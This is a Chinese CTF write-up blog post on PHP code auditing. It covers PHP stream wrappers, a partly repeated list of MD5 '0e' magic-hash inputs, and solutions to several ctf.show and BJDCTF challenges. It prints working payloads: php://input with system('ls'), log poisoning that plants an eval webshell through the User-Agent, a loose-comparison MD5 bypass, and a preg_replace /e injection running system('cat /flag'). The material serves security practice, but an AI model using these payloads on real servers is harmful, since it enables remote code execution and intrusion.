web代码审计(持续更新)

01. 常用的php伪协议

1.php://input        ——用于读取原始的 POST 数据,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容

2.php://filter         ——用于读取和修改文件内容,比如对文件进行编码转换、数据解密等操作。

02. MD5哈希计算后以0E开头的原值和哈希值:

QNKCDZO           0e830400451993494058024219903391
240610708         0e462097431906509019562988736854
s878926199a       0e545993274517709034328855841020
s155964671a       0e342768416822451524974117254469
s214587387a       0e848240448830537924465865611904
s214587387a       0e848240448830537924465865611904
s878926199a       0e545993274517709034328855841020
s1091221200a      0e940624217856561557816327384675
s1885207154a      0e509367213418206700842008763514
s1502113478a      0e861580163291561247404381396064
s1885207154a      0e509367213418206700842008763514
s1836677006a      0e481036490867661113260034900752
s155964671a       0e342768416822451524974117254469
s1184209335a      0e072485820392773389523109082030
s1665632922a      0e731198061491163073197128363787
s1502113478a      0e861580163291561247404381396064
s1836677006a      0e481036490867661113260034900752
s1091221200a      0e940624217856561557816327384675
s155964671a       0e342768416822451524974117254469
s1502113478a      0e861580163291561247404381396064
s155964671a       0e342768416822451524974117254469
s1665632922a      0e731198061491163073197128363787
s155964671a       0e342768416822451524974117254469
s1091221200a      0e940624217856561557816327384675
s1836677006a      0e481036490867661113260034900752
s1885207154a      0e509367213418206700842008763514
s532378020a       0e220463095855511507588041205815
s878926199a       0e545993274517709034328855841020
s1091221200a      0e940624217856561557816327384675
s214587387a       0e848240448830537924465865611904
s1502113478a      0e861580163291561247404381396064
s1091221200a      0e940624217856561557816327384675
s1665632922a      0e731198061491163073197128363787
s1885207154a      0e509367213418206700842008763514
s1836677006a      0e481036490867661113260034900752
s1665632922a      0e731198061491163073197128363787
s878926199a       0e545993274517709034328855841020

1.ctf.show_web3

这段 PHP 代码使用了 include 语句,试图从 $_GET 超全局变量中获取名为 url 的参数值,并将该值对应的文件包含进来。

所以我们可以直接写入php文件,通过GET请求输入url=php://input。 而php代码的内容为执行系统命令,查看当前目录下所有文件。

?url=php://input            -- GET请求的url中拼接伪协议
<?php system('ls')?>    -- post请求内容构造需要执行的代码

 

 这里我利用的是hackbar,执行php代码后,回显得到ctf_go_go_go index.php文件,很明显,flag就在这个文件中。

 

直接在url地址栏中输入url参数,访问ctf_go_go_go文件,就可以得到flag。

?url=ctf_go_go_go

2.ctf.show_web4

看起来和ctf.show_web3很像,但我们测试文件包含没有成功,所以这里考虑日志注入

/var/log/nginx/access.log是 Nginx 服务器默认的访问日志文件路径。

?url=/var/log/nginx/access.log 

 发现可以得到日志文件,接着利用bp抓包,在User-Agent后面插入一句话木马

<?php @eval($_POST['a']);?> 

用蚁剑进行连接测试 ,注意URL地址写的是日志地址,并且应该是用http进行连接(我一开始用的https,报错了)。

连接成功后,在www目录下发现flag.txt文件,即可得到flag.

3.ctf.show_web5

附上源码:

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

源码分析:

  • isset($v1) && isset($v2):判断 v1 和 v2 两个参数是否都被设置了(即用户是否通过 URL 利用GET方式传递了这两个参数),如果没有都设置,则直接输出 "where is flag?" 提示信息。
  • !ctype_alpha($v1):使用 ctype_alpha 函数来验证 $v1 参数内容是否全部由字母组成,如果不是,则输出 "v1 error" 并终止脚本执行(通过 die 函数)。
  • !is_numeric($v2):使用 is_numeric 函数验证 $v2 参数内容是否为数字,如果不是数字则输出 "v2 error" 并终止脚本执行。
  • md5($v1)==md5($v2):对 $v1 和 $v2 分别进行 MD5 哈希计算,然后比较它们的哈希值是否相等,如果相等就输出 $flag 的值,这里存在一个漏洞利用点,因为 PHP 中 md5 函数对于一些特殊的字符串(比如以 0e 开头且后面数字部分在比较时会被当作科学计数法的零值的情况)在进行比较时会出现哈希值相等但原始值不同的 “哈希碰撞” 情况,可以利用这个特性来绕过验证获取 flag(前提是能找到符合条件的合适字符串对)。

 所以简单来说就是,md5碰撞,只要是0e开头MD5值,默认为相等,v1为字符,v2为数值

payload:?v1=QNKCDZO&v2=240610708

 返回flag。

4.[BJDCTF2020]ZJCTF,不过如此

 代码分析:

  • $text = $_GET["text"];
    $file = $_GET["file"];
    这两行代码分别从 HTTP GET 请求中获取 text 和 file 参数的值,并将它们赋值给变量 $text 和 $file
  • isset($text) 检查 $text 变量是否已经设置并且不为 null
  • file_get_contents($text, 'r') 尝试读取 $text 所指定的文件内容。
  • echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 如果上述条件满足,这行代码会再次读取 $text 指定的文件内容,并将其用 <h1> 标签包裹后输出到页面上。
  • preg_match("/flag/", $file) 使用正则表达式 /flag/ 检查 $file 变量中是否包含 "flag" 字符串。如果包含,则使用 die 函数终止程序并输出 "Not now!"
  • include($file); //next.php 如果 $file 不包含 "flag" 字符,这行代码会包含并执行 $file 指定的文件。

因为是file_get_contents()函数打开text,考虑用data://协议,得到next.php文件。

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 

base64解码后得到next.php源代码 

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

 preg_replace 函数的 e 修饰符在 PHP 5.5.0 及以后版本中已被弃用,因为它存在严重的安全漏洞。

PHP正则表达式的逆向引用与子模式分析_php逆向分析-优快云博客

payload:

/?text=data://text/pain,I have a dream&file=next.php&\S*=${phpinfo()}

payload:

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag'); 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值